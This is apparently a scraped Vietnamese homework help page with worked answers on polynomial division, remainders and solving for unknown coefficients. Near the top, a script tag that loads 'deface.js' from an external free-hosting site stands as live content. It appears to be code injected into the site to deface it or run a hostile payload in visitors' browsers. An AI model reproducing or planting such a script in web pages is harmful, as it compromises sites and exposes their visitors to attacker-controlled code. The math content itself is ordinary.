Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.
| <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script> |
Bài 1 :
Đặt tính chia như bình thường thôi bạn
Kết quả : ( 3x4 + x3 + 6x - 5 ) : ( x2 + 1 ) = 3x2 + x - 3 dư 5x - 2
Bài 2 :
Làm tương tự bài 1 ta có :
A : B = ( 2x3 - x2 - x + 1 ) : ( x2 - 2x ) = 2x + 3 dư 5x + 1
=> A = ( x2 - 2x ) . ( 2x + 3 ) + 5x + 1
\(A=2x^5-x^4+3x+a=\left(2x^3+x^2-x-2\right)\left(x^2-x+1\right)+2x+a+2\)
Để A chia B dư 2x + 3 thì
\(2+a=3\)
\(\Leftrightarrow a=1\)
Đặt \(A=x^3-13x+m=\left(x^2+4x+3\right).\left(x+p\right)\)
Khi đó \(\left(x^2+4x+3\right)\left(x+p\right)=x^3+x^2\left(p+4\right)+x\left(4p+3\right)+3p\)
Sử dụng hệ số bất định được
\(\hept{\begin{cases}p+4=0\\4p+3=-13\\m=3p\end{cases}}\) \(\Leftrightarrow\hept{\begin{cases}p=-4\\m=-12\end{cases}}\)
Vậy m = -12
Câu còn lại tương tự.
a, Gọi thương của đa thức là Q(x) ta có:
A= x^3 - 13x + m = (x^2 + 4x + 3).Q(x)
Với x=-1 ta có :
A= (-1)^3 + 13.1 +m = 0
= -1 + 13 + m = 0
=> m= 0 + 1 -13
= -12
Vậy m=-12 (Ở đây mình chọn x= -1 là vì -1 là ngiệm của đa thức chia để VP bằng không và nếu thay x vào cả 2 về thì biểu thức A có giá trị không đổi tương tự nếu đa thức chia có 2 nghiệm thì bạn thay x bằng các nghiệm đó theo 2 trường hợp và dễ dàng tìm ẩn số)
b,Giai tương tự
